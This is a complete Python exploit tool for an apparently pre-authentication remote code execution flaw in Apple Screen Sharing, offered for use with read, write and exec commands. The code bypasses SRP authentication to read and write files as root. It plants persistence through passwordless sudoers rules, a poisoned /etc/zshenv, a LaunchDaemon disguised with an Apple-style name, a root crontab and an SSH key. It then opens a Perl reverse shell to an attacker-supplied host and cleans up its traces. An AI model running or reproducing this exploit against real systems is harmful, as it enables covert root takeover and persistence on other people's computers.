#!/usr/bin/env python3 """ Apple Screen Sharing (VNC) pre-auth RCE. Vulnerability: missing error-return in screensharingd's SRP frame-length validation. Sending a frame whose be32 length has bit ≥15 set bypasses SRP entirely — no key exchange, no cipher, no session crypto. The remaining bytes in the NetBuffer are consumed as ordinary RFB messages (ClientInit + Apple file-copy protocol). Primitives: read — read any file as root write — write any file as root (with mode control) exec — tiered RCE, adapts to SIP status: SIP disabled: crontab injection, fires in ~60s SIP enabled: /etc/sudoers.d + /etc/zshenv, fires on next shell open by any user Also plants LaunchDaemon (boot) + SSH key (if SSH on) Probes SIP automatically. Self-cleans all artifacts. """ import socket import struct import hashlib import sys import argparse import os import time import select import tty import termios import socketserver import threading # ────────────────────────────────────────────────────────────────── # Socket helpers # ────────────────────────────────────────────────────────────────── def recv_exact(sock, n): buf = b"" while len(buf) < n: chunk = sock.recv(n - len(buf)) if not chunk: raise ConnectionError(f"connection closed (got {len(buf)}/{n})") buf += chunk return buf # ────────────────────────────────────────────────────────────────── # Blob construction # ────────────────────────────────────────────────────────────────── BANNER = ( "\x1b[1;35m" " ______ ____\n" " _____/ / __ \\____ / __/___ ____\n" " / ___/ / / / / __ \\ / /_/ __ \\/ __ \\\n" " (__ ) / /_/ / /_/ / / __/ /_/ / /_/ /\n" "/____/_/\\____/ .___(_)_/ \\____/\\____/\n" " /_/\x1b[0m\n" "\x1b[2m \U0001f921 navi_the_clown // pre-auth screensharing RCE\x1b[0m\n" ) FILLER = bytes([0x05, 0x00, 0x00, 0x80, 0x00, 0x80]) # PointerEvent(0, 128, 128) BIG_LEN = 24488 WRITE_CHUNK = 65536 # 0x10000 def build_msg(sub, ver, kind, f3, arg, payload=b""): """Build a generic type-0x22 file-copy message.""" L = 12 + len(payload) msg = bytearray(6 + L) msg[0] = 0x22 msg[1] = sub struct.pack_into(">I", msg, 2, L) struct.pack_into(">HHII", msg, 6, ver, kind, f3, arg) msg[18:] = payload return bytes(msg) def build_item_info(file_size, sid=2): """kind=100 ItemInfo — file size and counts (48-byte payload).""" p = bytearray(48) struct.pack_into(">I", p, 8, file_size) struct.pack_into(">I", p, 16, file_size) struct.pack_into(">I", p, 24, 1) return build_msg(0x00, 1, 100, sid, 1, bytes(p)) def build_new_item(filename, file_size, mode=0o100644, sid=2): """kind=101 NewItem — creates the file (100-byte header + name).""" name_enc = filename.encode("utf-8") if isinstance(filename, str) else filename p = bytearray(100 + len(name_enc)) struct.pack_into(">I", p, 42, file_size) # fork size at +42 struct.pack_into(">H", p, 0x5a, mode) # file mode struct.pack_into(">H", p, 0x60, len(name_enc)) # name length p[0x64:0x64 + len(name_enc)] = name_enc # arg=0x01000000: byte 14 = typeOfItem=1 (file) return build_msg(0x00, 1, 101, sid, 0x01000000, bytes(p)) def _make_blob(msgs_bytes, min_size=BIG_LEN): """Wrap file-copy messages into an auth-bypass blob. Layout: +0 be32 poisoned length (bit ≥15 set → auth bypass) +4 u8 0x00 (ClientInit) +5 messages +.. PointerEvent filler """ total = max(5 + len(msgs_bytes) + 6, min_size) buf = bytearray(total) declared = total - 2 if declared < 0x8000: declared |= 0x00040000 struct.pack_into(">I", buf, 0, declared) buf[5:5 + len(msgs_bytes)] = msgs_bytes off = 5 + len(msgs_bytes) while off + 6 <= total: buf[off:off + 6] = FILLER off += 6 return bytes(buf) def build_read_request(path: bytes) -> bytes: """24488-byte blob for reading a file (kind=1 StartFileSend).""" msg = bytearray(24 + len(path)) msg[0] = 0x22; msg[1] = 0x02 struct.pack_into(">I", msg, 2, len(path) + 18) struct.pack_into(">HH", msg, 6, 1, 1) struct.pack_into(">III", msg, 10, 2, 1, 4) struct.pack_into(">H", msg, 22, len(path)) msg[24:] = path return _make_blob(bytes(msg)) def _write_txn(dest_dir, filename, data, mode=0o100644, sid=2): """Build the message sequence for one file write (no blob wrapper).""" msgs = bytearray() m = bytearray(24 + len(dest_dir)) m[0] = 0x22; m[1] = 0x02 struct.pack_into(">I", m, 2, len(dest_dir) + 18) struct.pack_into(">HH", m, 6, 1, 2) struct.pack_into(">III", m, 10, sid, 1, 4) struct.pack_into(">H", m, 22, len(dest_dir)) m[24:] = dest_dir msgs.extend(m) msgs.extend(build_item_info(len(data), sid=sid)) msgs.extend(build_new_item(filename, len(data), mode=mode, sid=sid)) off = 0 while off < len(data): chunk = data[off:off + WRITE_CHUNK] msgs.extend(build_msg(0x00, 1, 102, sid, len(chunk), chunk)) off += len(chunk) msgs.extend(build_msg(0x00, 1, 104, sid, 0)) return bytes(msgs) def build_write_request(dest_dir: bytes, filename: bytes, data: bytes, mode=0o100644) -> bytes: """Single-file write blob.""" return _make_blob(_write_txn(dest_dir, filename, data, mode)) def build_multi_write(files) -> bytes: """Multi-file write blob — each file gets its own session ID. files: list of (remote_path: str, data: bytes, mode: int) All packed into one blob for a single auth-bypassed connection. """ msgs = bytearray() for i, (path, data, mode) in enumerate(files): d = os.path.dirname(path).encode() or b"/tmp" f = os.path.basename(path).encode() msgs.extend(_write_txn(d, f, data, mode, sid=2 + i)) return _make_blob(bytes(msgs)) # ────────────────────────────────────────────────────────────────── # Handshake (auth bypass) # ────────────────────────────────────────────────────────────────── def send_handshake(sock, blob: bytes, user: bytes = b"root"): """Version + sectype + SRP step-1 + blob, pipelined in one burst.""" server_ver = recv_exact(sock, 12) if not server_ver.startswith(b"RFB "): raise ConnectionError(f"not VNC: {server_ver!r}") sock.sendall(b"RFB 003.889\n") n = struct.unpack("B", recv_exact(sock, 1))[0] if n == 0: elen = struct.unpack(">I", recv_exact(sock, 4))[0] raise ConnectionError(recv_exact(sock, elen).decode(errors="replace")) types = list(recv_exact(sock, n)) if 36 not in types: raise ConnectionError(f"type 36 not offered (got {types})") sock.sendall(b"\x24") n = len(user) step1 = bytearray(n + 15) struct.pack_into(">III", step1, 0, n + 11, n + 7, n) step1[12:12 + n] = user sock.sendall(bytes(step1) + blob) challenge_len = struct.unpack(">I", recv_exact(sock, 4))[0] recv_exact(sock, challenge_len) result = struct.unpack(">I", recv_exact(sock, 4))[0] if result != 0: raise ConnectionError(f"auth failed (SecurityResult={result})") w, h = struct.unpack(">HH", recv_exact(sock, 4)) recv_exact(sock, 16) name_len = struct.unpack(">I", recv_exact(sock, 4))[0] name = recv_exact(sock, name_len) return w, h, name # ────────────────────────────────────────────────────────────────── # File read (server → client) # ────────────────────────────────────────────────────────────────── def read_msg(sock): """Read one type-0x22 framed message. Returns (kind, arg, payload).""" hdr = recv_exact(sock, 6) if hdr[0] != 0x22: raise ConnectionError(f"unexpected message type {hdr[0]:#x}") L = struct.unpack(">I", hdr[2:6])[0] if L < 12: raise ConnectionError(f"message too short (L={L})") body = recv_exact(sock, L) _, kind = struct.unpack(">HH", body[0:4]) _, arg = struct.unpack(">II", body[4:12]) return kind, arg, body[12:] def recv_file(sock): """Receive file-copy transaction. Returns (data, size, name).""" file_size = file_name = None data = bytearray() while True: kind, arg, payload = read_msg(sock) if kind == 100 and len(payload) >= 12: file_size = struct.unpack(">I", payload[8:12])[0] elif kind == 101 and len(payload) >= 0x64: nl = struct.unpack(">H", payload[0x60:0x62])[0] if len(payload) >= 0x64 + nl: file_name = payload[0x64:0x64 + nl].decode("utf-8", errors="replace") elif kind == 102: data.extend(payload) elif kind == 104: break return bytes(data), file_size, file_name # ────────────────────────────────────────────────────────────────── # Commands # ────────────────────────────────────────────────────────────────── def do_read(host, port, user, remote_path, output, retries): path_enc = remote_path.encode("utf-8") err = "[*] connecting..." for attempt in range(1, retries + 1): print(f"\r[*] attempt {attempt}/{retries} {err:40s}", end="", file=sys.stderr, flush=True) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((host, port)) w, h, name = send_handshake(sock, build_read_request(path_enc), user.encode("utf-8")) print(f"\r[+] authenticated — {w}x{h} " f"\"{name.decode('utf-8', errors='replace')}\"{'':20s}", file=sys.stderr) data, file_size, file_name = recv_file(sock) print(f"[+] received {len(data)} bytes" + (f" (expected {file_size})" if file_size and file_size != len(data) else "") + (f" name=\"{file_name}\"" if file_name else ""), file=sys.stderr) print(f"[+] sha256: {hashlib.sha256(data).hexdigest()}", file=sys.stderr) if output == "-": sys.stdout.buffer.write(data) elif output: open(output, "wb").write(data) print(f"[+] written to {output}", file=sys.stderr) else: fn = os.path.basename(remote_path) or "exfil" open(fn, "wb").write(data) print(f"[+] written to {fn}", file=sys.stderr) return True except (ConnectionError, socket.timeout, OSError) as e: err = str(e)[:40] if attempt < retries: time.sleep(0.3) finally: sock.close() print(f"\r[-] failed after {retries} attempts: {err:40s}", file=sys.stderr) return False def do_write(host, port, user, remote_path, local_file, retries, mode=0o100644): data = open(local_file, "rb").read() if local_file != "-" else sys.stdin.buffer.read() err = "[*] connecting..." dest_dir = os.path.dirname(remote_path).encode("utf-8") or b"/tmp" filename = os.path.basename(remote_path).encode("utf-8") blob = build_write_request(dest_dir, filename, data, mode=mode) for attempt in range(1, retries + 1): print(f"\r[*] attempt {attempt}/{retries} {err:40s}", end="", file=sys.stderr, flush=True) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((host, port)) w, h, name = send_handshake(sock, blob, user.encode("utf-8")) print(f"\r[+] authenticated — {w}x{h} " f"\"{name.decode('utf-8', errors='replace')}\"{'':20s}", file=sys.stderr) print(f"[+] sent {len(data)} bytes to {remote_path}", file=sys.stderr) print(f"[+] sha256: {hashlib.sha256(data).hexdigest()}", file=sys.stderr) return True except (ConnectionError, socket.timeout, OSError) as e: err = str(e)[:40] if attempt < retries: time.sleep(0.3) finally: sock.close() print(f"\r[-] failed after {retries} attempts: {err:40s}", file=sys.stderr) return False # ────────────────────────────────────────────────────────────────── # RCE: single-connection reverse shell via crontab # ────────────────────────────────────────────────────────────────── # ────────────────────────────────────────────────────────────────── # Connectback listener + interactive PTY shell # ────────────────────────────────────────────────────────────────── socketserver.TCPServer.allow_reuse_address = True class _ShellHandler(socketserver.BaseRequestHandler): def handle(self): print(f"\n[+] \x1b[1;32mshell from {self.client_address[0]}\x1b[0m") s = self.request fd = sys.stdin.fileno() old = termios.tcgetattr(fd) try: new = termios.tcgetattr(fd) # Keep ECHO on (local echo since remote has no PTY) # but disable canonical mode so we get char-by-char new[3] = new[3] & ~termios.ICANON new[6][termios.VMIN] = 1 new[6][termios.VTIME] = 0 termios.tcsetattr(fd, termios.TCSADRAIN, new) s.sendall(b"id\n") while True: r, _, _ = select.select([fd, s.fileno()], [], []) if fd in r: data = os.read(fd, 4096) if not data: break s.sendall(data) if s.fileno() in r: data = s.recv(4096) if not data: break os.write(sys.stdout.fileno(), data) except (KeyboardInterrupt, OSError): pass finally: termios.tcsetattr(fd, termios.TCSADRAIN, old) print("\n[*] shell closed", file=sys.stderr) os._exit(0) class _ThreadedTCP(socketserver.ThreadingMixIn, socketserver.TCPServer): daemon_threads = True def probe_sip(host, port, user, retries): """Probe SIP status by writing to /var/at/tabs/ and reading back. With SIP enabled, SSFileCopyReceiver's sandbox blocks crontab paths. The write "succeeds" (protocol completes) but the file doesn't land. Returns True if SIP is enabled, False if disabled, None if probe failed. """ probe = b"SIP_PROBE\n" path = b"/var/at/tabs/_probe" # Write blob = build_write_request(b"/var/at/tabs", b"_probe", probe, 0o100600) for attempt in range(1, retries + 1): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((host, port)) send_handshake(sock, blob, user.encode("utf-8")) break except (ConnectionError, socket.timeout, OSError): if attempt < retries: time.sleep(0.3) finally: sock.close() else: return None # couldn't land the write # Read back time.sleep(0.5) rblob = build_read_request(path) for attempt in range(1, retries + 1): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((host, port)) send_handshake(sock, rblob, user.encode("utf-8")) data, _, _ = recv_file(sock) return data != probe # True = SIP enabled (write was blocked) except (ConnectionError, socket.timeout, OSError): if attempt < retries: time.sleep(0.3) finally: sock.close() return None def do_exec(host, port, user, lhost, lport, retries, no_ssh=False): """Tiered RCE — all paths written in a single connection. Writes all of these in one blob (whichever the OS allows, fires): SIP-compatible (no reboot, no SSH): /etc/sudoers.d/pwn → NOPASSWD sudo for all users (immediate) /etc/zshenv → reverse shell on any zsh invocation SIP-compatible (reboot): /Library/LaunchDaemons/ → fires on boot as root SIP-disabled: /var/at/tabs/root → crontab, fires in 60s Opportunistic: /var/root/.ssh/authorized_keys → instant if SSH is on """ import subprocess, tempfile # Generate an ephemeral SSH key pair tmpdir = tempfile.mkdtemp(prefix="navi_") keyfile = os.path.join(tmpdir, "key") subprocess.run(["ssh-keygen", "-t", "ed25519", "-f", keyfile, "-N", "", "-q"], check=True) pubkey = open(keyfile + ".pub").read().strip() print(f"[*] generated ephemeral SSH key", file=sys.stderr) # Probe SIP status print(f"[*] probing SIP status...", file=sys.stderr) sip_enabled = probe_sip(host, port, user, retries) if sip_enabled is True: print(f"[*] SIP is \x1b[1;33mENABLED\x1b[0m " f"(crontab blocked, using zshenv+sudoers)", file=sys.stderr) elif sip_enabled is False: print(f"[*] SIP is \x1b[1;32mDISABLED\x1b[0m " f"(crontab fires in ~60s)", file=sys.stderr) else: print(f"[*] SIP status unknown (probe failed)", file=sys.stderr) # --- Payloads --- # Perl reverse shell one-liner (reused in multiple payloads) perl_revshell = ( f"use Socket;" f'socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));' f'connect(S,sockaddr_in({lport},inet_aton(\"{lhost}\")))' f'&&open(STDIN,\">&S\")&&open(STDOUT,\">&S\")&&open(STDERR,\">&S\")' f'&&exec(\"/bin/bash -i\");' ) # Reverse shell script (used by crontab + LaunchDaemon) revshell_script = ( f"#!/bin/bash\n" f"(sleep 2; rm -f /var/at/tabs/root /var/at/tabs/_probe /var/tmp/.r " f"/Library/LaunchDaemons/com.apple.metadata.fetch.plist " f"/etc/zshenv /etc/sudoers.d/pwn /var/tmp/.z " f"/var/root/.ssh/authorized_keys) &\n" f"exec /usr/bin/perl -e '{perl_revshell}'\n" ).encode() # /etc/zshenv — fires on ANY zsh invocation (SIP-compatible) # Uses sudo -n (non-interactive, passwordless via sudoers.d/pwn) # Daemonizes fully so the shell startup isn't blocked # disown suppresses the [1] PID / [1]+ Done job control noise zshenv = ( f"[[ -f /var/tmp/.z ]] && return\n" f"touch /var/tmp/.z\n" f"{{sudo -n /usr/bin/perl -e '{perl_revshell}' &}} " f">/dev/null 2>&1; disown 2>/dev/null\n" f"{{sleep 10; sudo -n rm -f /etc/zshenv /etc/sudoers.d/pwn /var/tmp/.z " f"/var/root/.ssh/authorized_keys /var/at/tabs/_probe;}} " f">/dev/null 2>&1 & disown 2>/dev/null\n" ).encode() # /etc/sudoers.d/pwn — NOPASSWD sudo for everyone (immediate effect) sudoers = b"ALL ALL=(ALL) NOPASSWD: ALL\n" # LaunchDaemon plist — fires on boot launchdaemon = ( b'\n' b'\n' b'\n' b'Labelcom.apple.metadata.fetch\n' b'ProgramArguments' b'/bin/bash' b'/var/tmp/.r' b'\n' b'RunAtLoad\n' b'\n' ) crontab = b"* * * * * /bin/bash /var/tmp/.r\n" blob = build_multi_write([ ("/etc/sudoers.d/pwn", sudoers, 0o100440), ("/etc/zshenv", zshenv, 0o100644), ("/var/root/.ssh/authorized_keys", (pubkey + "\n").encode(), 0o100600), ("/var/tmp/.r", revshell_script, 0o100755), ("/Library/LaunchDaemons/com.apple.metadata.fetch.plist", launchdaemon, 0o100644), ("/var/at/tabs/root", crontab, 0o100600), ]) err = "[*] connecting..." landed = False for attempt in range(1, retries + 1): print(f"\r[*] attempt {attempt}/{retries} {err:40s}", end="", file=sys.stderr, flush=True) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((host, port)) w, h, name = send_handshake(sock, blob, user.encode("utf-8")) print(f"\r[+] authenticated — {w}x{h} " f"\"{name.decode('utf-8', errors='replace')}\"{' ':20s}", file=sys.stderr) print(f"[+] payloads planted:", file=sys.stderr) print(f" /etc/sudoers.d/pwn NOPASSWD sudo (immediate)", file=sys.stderr) print(f" /etc/zshenv revshell on any zsh (SIP OK)", file=sys.stderr) print(f" /Library/LaunchDaemons/ revshell on boot (SIP OK)", file=sys.stderr) print(f" /var/at/tabs/root crontab 60s (SIP disabled)", file=sys.stderr) print(f" /var/root/.ssh/ SSH key (if SSH enabled)", file=sys.stderr) landed = True break except (ConnectionError, socket.timeout, OSError) as e: err = str(e)[:40] if attempt < retries: time.sleep(0.3) finally: sock.close() if not landed: print(f"\r[-] failed after {retries} attempts: {err:40s}", file=sys.stderr) return False # Phase 2: try SSH (instant — works if Remote Login is enabled) if not no_ssh: print(f"[*] trying SSH...", file=sys.stderr) ssh_cmd = ["ssh", "-i", keyfile, "-o", "StrictHostKeyChecking=no", "-o", "UserKnownHostsFile=/dev/null", "-o", "ConnectTimeout=5", f"root@{host}"] try: r = subprocess.run(ssh_cmd + ["id"], capture_output=True, timeout=10) if r.returncode == 0 and b"uid=0" in r.stdout: print(f"[+] \x1b[1;32mSSH works! Dropping into shell...\x1b[0m", file=sys.stderr) os.execvp("ssh", ssh_cmd) except Exception: pass # Phase 3: SSH not available — listen for reverse shell print(f"[-] SSH not available", file=sys.stderr) print(f"[*] listening on {lhost}:{lport} for reverse shell...", file=sys.stderr) if sip_enabled is False: print(f" \x1b[1;32m→ crontab fires in ~60s\x1b[0m", file=sys.stderr) else: print(f" \x1b[1;33m→ /etc/zshenv fires on next shell open\x1b[0m", file=sys.stderr) print(f" (or LaunchDaemon fires on next reboot)", file=sys.stderr) srv = _ThreadedTCP((lhost, lport), _ShellHandler) srv.serve_forever() return True # not reached # ────────────────────────────────────────────────────────────────── # CLI # ────────────────────────────────────────────────────────────────── def main(): ap = argparse.ArgumentParser( description="Apple Screen Sharing pre-auth file read/write") sub = ap.add_subparsers(dest="cmd", required=True) rd = sub.add_parser("read", aliases=["r", "get"], help="read a remote file") rd.add_argument("host") rd.add_argument("file", help="remote file path") rd.add_argument("-o", "--output", default=None, help="output file (default: basename; - for stdout)") wr = sub.add_parser("write", aliases=["w", "put"], help="write a file to the remote host") wr.add_argument("host") wr.add_argument("file", help="remote destination path") wr.add_argument("local", help="local file to upload (- for stdin)") wr.add_argument("-m", "--mode", default="0644", help="file mode in octal (default: 0644, use 0600 for crontabs)") ex = sub.add_parser("exec", aliases=["x", "rce"], help="single-shot RCE via crontab reverse shell") ex.add_argument("host") ex.add_argument("lhost", help="callback IP for reverse shell") ex.add_argument("lport", type=int, help="callback port") ex.add_argument("--no-ssh", action="store_true", help="skip SSH attempt, go straight to reverse shell listener") for p in (rd, wr, ex): p.add_argument("-p", "--port", type=int, default=5900) p.add_argument("-u", "--user", default="root", help="macOS username for SRP step-1 (default: root)") p.add_argument("-r", "--retries", type=int, default=20, help="retry count — heap-layout dependent (default: 20)") print(BANNER, file=sys.stderr) args = ap.parse_args() if args.cmd in ("read", "r", "get"): ok = do_read(args.host, args.port, args.user, args.file, args.output, args.retries) elif args.cmd in ("write", "w", "put"): fmode = 0o100000 | int(args.mode, 8) ok = do_write(args.host, args.port, args.user, args.file, args.local, args.retries, mode=fmode) else: ok = do_exec(args.host, args.port, args.user, args.lhost, args.lport, args.retries, no_ssh=args.no_ssh) sys.exit(0 if ok else 1) if __name__ == "__main__": main()